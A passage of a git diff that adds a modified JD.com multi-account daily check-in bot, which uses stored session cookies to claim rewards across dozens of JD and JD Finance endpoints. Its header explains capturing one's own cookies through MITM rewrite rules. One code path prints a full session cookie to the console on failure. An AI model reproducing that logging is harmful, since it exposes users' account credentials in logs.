t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_DailyBonus_Mod.js b/jd_DailyBonus_Mod.js new file mode 100644 index 0000000..131641c --- /dev/null +++ b/jd_DailyBonus_Mod.js @@ -0,0 +1,1965 @@ +/* +cron "14 0,9 * * *" jd_CheckCK.js, tag:京东多合一签到脚本修改版 + */ + +/************************* + +京东多合一签到脚本 + +更新时间: 2021.09.09 20:20 v2.1.3 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + +************************* +【 QX, Surge, Loon 说明 】 : +************************* + +初次使用时, app配置文件添加脚本配置, 并启用Mitm后: + +Safari浏览器打开登录 https://home.m.jd.com/myJd/newhome.action 点击"我的"页面 +或者使用旧版网址 https://bean.m.jd.com/bean/signIndex.action 点击签到并且出现签到日历 +如果通知获取Cookie成功, 则可以使用此签到脚本. 注: 请勿在京东APP内获取!!! + +获取京东金融签到Body说明: 正确添加脚本配置后, 进入"京东金融"APP, 在"首页"点击"签到"并签到一次, 待通知提示成功即可. + +由于cookie的有效性(经测试网页Cookie有效周期最长31天),如果脚本后续弹出cookie无效的通知,则需要重复上述步骤。 +签到脚本将在每天的凌晨0:05执行, 您可以修改执行时间。 因部分接口京豆限量领取, 建议调整为凌晨签到。 + +BoxJs或QX Gallery订阅地址: https://raw.githubusercontent.com/NobyDa/Script/master/NobyDa_BoxJs.json + +************************* +【 配置多京东账号签到说明 】 : +************************* + +正确配置QX、Surge、Loon后, 并使用此脚本获取"账号1"Cookie成功后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"获取即可; 账号3或以上同理. +注: 如需清除所有Cookie, 您可开启脚本内"DeleteCookie"选项 (第114行) + +************************* +【 JSbox, Node.js 说明 】 : +************************* + +开启抓包app后, Safari浏览器登录 https://home.m.jd.com/myJd/newhome.action 点击个人中心页面后, 返回抓包app搜索关键字 info/GetJDUserInfoUnion 复制请求头Cookie字段填入json串数据内即可 + +如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 +*/ + +var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ + +var OtherKey = ""; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: + +/*以下样例为双账号("cookie"为必须,其他可选), 第一个账号仅包含Cookie, 第二个账号包含Cookie和金融签到Body: + +var OtherKey = `[{ + "cookie": "pt_key=xxx;pt_pin=yyy;" +}, { + "cookie": "pt_key=yyy;pt_pin=xxx;", + "jrBody": "reqData=xxx" +}]` + + 注1: 以上选项仅针对于JsBox或Node.js, 如果使用QX,Surge,Loon, 请使用脚本获取Cookie. + 注2: 多账号用户抓取"账号1"Cookie后, 请勿点击退出账号(可能会导致Cookie失效), 需清除浏览器资料或更换浏览器登录"账号2"抓取. + 注3: 如果使用Node.js, 需自行安装'request'模块. 例: npm install request -g + 注4: Node.js或JSbox环境下已配置数据持久化, 填写Cookie运行一次后, 后续更新脚本无需再次填写, 待Cookie失效后重新抓取填写即可. + 注5: 脚本将自动处理"持久化数据"和"手动填写cookie"之间的重复关系, 例如填写多个账号Cookie后, 后续其中一个失效, 仅需填写该失效账号的新Cookie即可, 其他账号不会被清除. + +************************* +【Surge 4.2+ 脚本配置】: +************************* + +[Script] +京东多合一签到 = type=cron,cronexp=5 0 * * *,wake-system=1,timeout=60,script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +获取京东Cookie = type=http-request,requires-body=1,pattern=^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?),script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【Loon 2.1+ 脚本配置】: +************************* + +[Script] +cron "5 0 * * *" tag=京东多合一签到, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +http-request ^https:\/\/(api\.m|me-api|ms\.jr)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?|gw\/generic\/hy\/h5\/m\/appSign\?) tag=获取京东Cookie, requires-body=true, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[MITM] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +************************* +【 QX 1.0.10+ 脚本配置 】 : +************************* + +[task_local] +# 京东多合一签到 +5 0 * * * https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js, tag=京东多合一签到, img-url=https://raw.githubusercontent.com/NobyDa/mini/master/Color/jd.png,enabled=true + +[rewrite_local] +# 获取京东Cookie. +^https:\/\/(api\.m|me-api)\.jd\.com\/(client\.action\?functionId=signBean|user_new\/info\/GetJDUserInfoUnion\?) url script-request-header https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +# 获取钢镚签到body. +^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\? url script-request-body https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js + +[mitm] +hostname = ms.jr.jd.com, me-api.jd.com, api.m.jd.com + +*************************/ + +var LogDetails = false; //是否开启响应日志, true则开启 + +var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. + +var DeleteCookie = false; //是否清除所有Cookie, true则开启. + +var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) + +var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) + +var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 + +var $nobyda = nobyda(); + +var merge = {}; + +var KEY = ''; + + +async function all(cookie, jrBody) { + KEY = cookie; + merge = {}; + $nobyda.num++; + stop = '0'; + switch (stop) { + case 0: + await Promise.all([ + JingDongBean(stop), //京东京豆 + JingDongStore(stop), //京东超市 + JingRongSteel(stop, jrBody), //金融钢镚 + JingDongTurn(stop), //京东转盘 + JDFlashSale(stop), //京东闪购 + JingDongCash(stop), //京东现金红包 + JDMagicCube(stop, 2), //京东小魔方 + JingDongSubsidy(stop), //京东金贴 + JingDongGetCash(stop), //京东领现金 + JingDongShake(stop), //京东摇一摇 + JDSecKilling(stop), //京东秒杀 + // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), + // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), + // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), + // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 + JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 + // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 + JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 + JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 + JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 + JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + //**ccwav Mod code + const { + getEnvs + } = require('./ql'); + const envs = await getEnvs(); + var strck=""; + var strck2=""; + for (let i = 0; i < envs.length; i++) { + if (envs[i].status == 0) { + if (envs[i].value) { + strck = envs[i].value; + strck= (strck.match(/pt_pin=([^; ]+)(?=;?)/) && strck.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + strck2=decodeURIComponent(strck); + console.log("\n开始检测【京东账号"+(i+1)+"】"+strck2+`....\n`); + await all(envs[i].value, ""); + } + } + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function waitTime(t) { + return new Promise(s => setTimeout(s, t)) + } + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log(cc); + console.log(KEY); + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await 